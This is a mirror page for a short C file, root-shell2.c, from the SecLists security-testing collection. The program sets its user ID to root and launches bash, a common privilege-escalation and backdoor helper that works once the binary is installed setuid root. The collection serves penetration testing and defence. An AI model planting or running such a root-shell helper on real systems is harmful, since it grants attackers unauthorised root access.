mirror of
https://github.com/danielmiessler/SecLists.git
synced 2025-06-08 05:57:52 +00:00
11 lines
144 B
C
11 lines
144 B
C
![]() |
// $ gcc -o root-shell2 root-shell2.c
|
||
|
|
||
|
#include <unistd.h>
|
||
|
|
||
|
int main()
|
||
|
{
|
||
|
setuid(0);
|
||
|
execl("/bin/bash", "bash", (char *)NULL);
|
||
|
return 0;
|
||
|
}
|